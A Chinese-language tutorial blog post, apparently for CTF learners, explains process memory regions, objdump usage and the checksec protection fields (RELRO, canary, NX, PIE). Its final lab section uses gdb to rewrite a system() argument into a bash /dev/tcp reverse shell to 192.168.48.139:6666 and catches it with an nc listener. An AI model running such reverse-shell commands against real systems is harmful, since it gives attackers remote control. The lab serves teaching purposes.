虚拟地址空间基础
简要说明
当一个程序运行时,操作系统会为它分配一个虚拟地址空间,划分多个区域。

像是我们常规使用objdump查看反汇编的部分就是代码段->.text
objdump -d test
或者使用另一种查看方式
objdump -D test -j .text
不加-j的话就是所有段都查看
objdump -D test
内存区域详细说明
栈-Stack
由系统自动管理分配还是释放,Stack存放局部变量、返回地址、函数调用记录。其结构属于后进先出(LIFO)结构
特点:空间小、效率高
示例代码:
void foo() {
int x = 10;
}
int main() {
foo();
return 0;
}此时栈的状态如下图所示

栈溢出:调用太多函数或者申请超大局部变量,造成的栈溢出
堆-Heap
通过malloc、new等API函数手动分配/释放,用于存储跨函数、跨生命周期的数据
特点:容量大,但管理开销也比较大
示例代码:
int *p = malloc(100);内存泄露:若未释放(free)申请的内存,则会造成内存泄露
数据段-.data
存储已初始化的全局变量、静态变量
示例代码:
#include <stdio.h>
int x=10;
int main(){
int a=10;
int b=20;
int c=a+b;
printf("%d+%d=%d\n", a, b, c);
return 0;
}
可以看到变量x确实被赋值为10,且存储于.data段
BSS段
存储未初始化的全局变量、静态变量,程序启动时会自动清零
示例代码:
#include <stdio.h>
int x;
static int y;
int main(){
int a=10;
int b=20;
int c=a+b;
printf("%d+%d=%d\n", a, b, c);
return 0;
}
代码段-.text
存储程序指令,通常是只读的,防止被篡改(但是其实我们多少都能改点)

代码演示
#include <stdio.h>
#include <stdlib.h>
int g = 10; // .data
int x; // .bss
int main(){
int a = 10; // stack-栈
int *p = malloc(4); // 变量 p 在栈上,malloc返回的堆指针指向堆内存
printf("g:%d\r\na:%d\r\n", g, a);
x = 90;
return 0;
}数据段和bss段

代码段


真实情况下:
分配地址是这个

注意:运行中的内存地址并非固定的,如果是固定的会有相应的标识符显示
checksec安全机制解析
checksec 命令用于检查二进制程序的安全保护机制
# 安装pwntools,他包含了checksec
pip install pwntools检查是否为动态内存地址
checksec --file test
当PIE为enabled的时候就是动态加载的,当他为No PIE的时候就是固定内存地址,这点我们通过反汇编也能看出来


1. Arch: i386-32-little
含义:程序的架构信息。
i386-32:32 位 x86 架构(32 位程序,寄存器为eax、ebx等,指针长度 4 字节)。little:小端字节序(数据的低字节存储在低地址,x86 架构默认)。
- 影响:漏洞利用时需使用对应架构的指令和地址长度(如 32 位地址为 4 字节)。
2. RELRO: Partial RELRO
含义:
RELRO(Relocation Read-Only,重定位只读)是一种保护机制,控制程序的 GOT(全局偏移表) 是否可写。- Partial RELRO:部分重定位只读。GOT 表的前半部分(早期绑定的符号)只读,但后半部分(延迟绑定的符号,如
printf@plt、system@plt)仍可写。 - Full RELRO:完全重定位只读。整个 GOT 表在程序启动时被标记为只读,无法修改。
- Partial RELRO:部分重定位只读。GOT 表的前半部分(早期绑定的符号)只读,但后半部分(延迟绑定的符号,如
- 影响:
Partial RELRO 下,攻击者可能通过修改 GOT 表(如system@plt的入口)实现漏洞利用(如GOT 劫持);而 Full RELRO 可完全阻止这种攻击。
3. Stack: No canary found
含义:栈保护机制(Stack Canary)的状态。
- No canary found:未启用栈保护。程序在函数调用时,不会在栈上插入 “金丝雀”(随机值)来检测栈溢出。
- Canary found:启用栈保护。函数栈帧中会插入一个随机值(金丝雀),函数返回前会检查该值是否被修改,若被修改则触发程序崩溃,阻止栈溢出攻击。
- 影响:
未启用栈保护时,缓冲区溢出漏洞可能直接覆盖返回地址,实现代码执行;启用后则难以直接溢出修改返回地址。
4. NX: NX enabled
含义:
NX(No-eXecute,不可执行)是栈 / 堆执行权限的保护机制。- NX enabled:启用 NX 保护。栈和堆内存被标记为 “不可执行”(仅允许读 / 写,不允许执行指令)。
- NX disabled:禁用 NX 保护。栈和堆内存可执行,攻击者注入的 shellcode 可直接执行。
- 影响:
NX 启用时,传统的 “栈上注入 shellcode 并执行” 的方法失效,需改用ret2libc(调用系统库函数)等技术;禁用时可直接执行注入的代码。
5. PIE: No PIE (0x8048000)
含义:
PIE(Position-Independent Executable,位置无关可执行文件)是地址随机化机制。- No PIE:未启用 PIE。程序加载到内存时,代码段、数据段的地址是固定的(如输出中的
0x8048000是代码段起始地址)。 - PIE enabled:启用 PIE。程序每次启动时,代码段、数据段的地址会被随机化(受 ASLR 保护),无法提前预知。
- No PIE:未启用 PIE。程序加载到内存时,代码段、数据段的地址是固定的(如输出中的
- 影响:
未启用 PIE 时,函数(如system)和全局变量的地址是固定的,漏洞利用时可直接硬编码这些地址;启用后地址随机,需通过信息泄露获取地址。
6. Stripped: No
含义:程序是否去除了符号表(调试信息)。
- No:未去除符号表。程序中保留了函数名、变量名等调试信息(如
main、printf等函数名可见)。 - Yes:已去除符号表。调试信息被删除,
gdb中无法直接通过函数名查看地址,需通过反汇编分析。
- No:未去除符号表。程序中保留了函数名、变量名等调试信息(如
影响:
未去除符号表时,调试和漏洞分析更方便(可直接用函数名设置断点);去除后分析难度增加。补充
- RWX Segment:如果程序存在可读可写可执行(RWX)的内存段,就可能存在攻击者注入代码并执行的空间。
- SHSTK/IBT:是现代 CPU 的硬件保护机制,用于防止 ROP(返回导向编程)、JOP(跳转导向编程)这类攻击。
CTF的一些可执行程序编译:
gcc -m32 -fno-stack-protector -no-pie -z execstack test.c -o test_v2
反弹shell实验
尝试对示例1和示例2代码进行反弹shell的尝试,观察代码位置改变是否会影响指令地址、行为分析
示例代码1:
#include <stdio.h>
#include <stdlib.h>
int main(){
int a=10;
int b=20;
int c=a+b;
printf("%d+%d=%d\n", a, b, c);
system("whoami");
return 0;
}
b *main+87
run
n
set {char[53]}($ebx-0x198a)="bash -c 'sh -i >& /dev/tcp/192.168.48.139/6666 0>&1'"
x/s $eax
n
nc -lvvp 6666
示例代码2:
#include <stdio.h>
#include <stdlib.h>
int main(){
int a=10;
int b=20;
int c=a+b;
system("whoami");
printf("%d+%d=%d\n", a, b, c);
return 0;
}发现system函数的调用地址并没有因为代码位置的变化而变化

b *main+63
run
n
x/s $ebx-0x1994
set {char[53]}($ebx-0x1994)="bash -c 'sh -i >& /dev/tcp/192.168.48.139/6666 0>&1'"
x/s $ebx-0x1994
n
nc -lvvp 6666
评论 (0)